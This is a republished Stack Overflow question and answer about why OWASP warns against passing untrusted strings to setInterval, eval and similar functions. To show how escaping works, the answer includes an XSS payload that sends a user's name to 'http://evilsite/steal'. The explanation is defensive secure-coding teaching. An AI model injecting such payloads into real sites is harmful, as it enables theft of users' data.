Why is setInterval not safe from XSS?

烈酒焚心 提交于 2021-01-27 19:04:07

问题


I'm going through OWASP Cross Site Scripting Prevent Cheat Sheet. In rule #3 it says:

Please note there are some JavaScript functions that can never safely use untrusted data as input - EVEN IF JAVASCRIPT ESCAPED!

<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
</script>

To clarify:

  1. I know that using setInterval et al. is safe with your own content.
  2. I know that one must validate, escape and/or sanitise external content.

My understanding is that rule #3 sorts of imply that an attacker can bypass any XSS filters you can think of if you use setInterval.

Do you have an example of what they mean? What kind of XSS attack you'll never be safe from using setInterval?

There is a similar question here: .setinterval and XSS unfortunately the answer didn't help me.


回答1:


Some background first:

Escaping to defend against XSS involves adding suitable escape characters so that rogue data can't break out of wherever you put it and be evaluated as JavaScript.

e.g. given user input of xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + '

If you inserted it into a string literal with server-side code:

const userinput = '<?php echo $_GET("userinput"); ?>'

You'd get:

const userinput = 'xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + ''`

Then the ' would break out of the string literal in the JS, steal the username, and send it to the attacker's website. (There are worse things than usernames which could be stolen.

Escaping is designed to prevent the data from breaking out of the string literal like that:

const userinput = 'xss\' + window.location = \"http://evilsite/steal?username=\" + encodeURLComponent(document.getElementById(\"user-widget\").textContent) + \''`

So the attacking code just becomes part of the string and not evaluated as raw code.


The problem with passing a string to setInterval (or setTimeout, new Function, eval, etc) is that they are functions designed to evaluate code.

The attacker doesn't need to break out of the string literal to have their code executed. It's happening already.


My question is about understanding why setInterval can never be safe from XSS.

That isn't what the warning you quoted said. It said it can never safely use untrusted data as input. If you're putting your own code there, it is perfectly safe. It is when you evaluate some user input that you have problems.

Passing a string to setInterval is a bad idea anyway. It is hard to debug and relatively slow.

Pass a function instead. You can even use user input safely then (since it isn't being evaluated as code, it is just a variable with a string in it).

const userinput = "properly escaped user input";

setInterval(() => {
    document.body.appendChild(
        document.createTextNode(userinput)
    );
}, 1000);


来源:https://stackoverflow.com/questions/62872675/why-is-setinterval-not-safe-from-xss

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!